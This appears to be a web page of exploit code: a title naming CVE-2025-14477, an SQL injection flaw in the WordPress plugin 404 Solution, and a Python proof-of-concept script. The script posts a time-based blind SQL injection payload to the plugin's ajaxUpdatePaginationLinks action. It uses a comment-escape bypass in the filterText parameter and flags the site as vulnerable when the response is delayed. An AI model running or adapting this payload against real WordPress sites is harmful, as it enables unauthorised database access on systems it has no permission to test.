CVE-2025-14477 WordPress 404 Solution插件SQL注入漏洞

import requests import time # CVE-2025-14477 SQL Injection PoC # Target: WordPress with 404 Solution plugin <= 3.1.0 target_url = "http://target-wordpress-site/wp-admin/admin-ajax.php" # Authentication cookies (Administrator session required) cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "session_token" } def test_sql_injection(): """ Test for SQL injection in 404 Solution plugin's ajaxUpdatePaginationLinks action. The filterText parameter is vulnerable to SQL injection via */ bypass. """ # Normal request to verify endpoint exists normal_data = { "action": "ajaxUpdatePaginationLinks", "filterText": "test", "nonce": "your-ajax-nonce" } # SQL injection payload using */ bypass # The filter logic removes $ character, turning */$/ into */ # This escapes the SQL comment context sql_payload = "test*/ AND (SELECT * FROM (SELECT SLEEP(5))a)/*" injection_data = { "action": "ajaxUpdatePaginationLinks", "filterText": sql_payload, "nonce": "your-ajax-nonce" } print("[*] Testing SQL Injection vulnerability...") print(f"[*] Target: {target_url}") # Measure response time for blind SQL injection start_time = time.time() response = requests.post(target_url, data=injection_data, cookies=cookies) elapsed_time = time.time() - start_time if elapsed_time > 4: print("[+] VULNERABLE! Time-based blind SQL injection confirmed.") print(f"[+] Response time: {elapsed_time:.2f} seconds") else: print("[-] Not vulnerable or endpoint not found.") return response if __name__ == "__main__": test_sql_injection()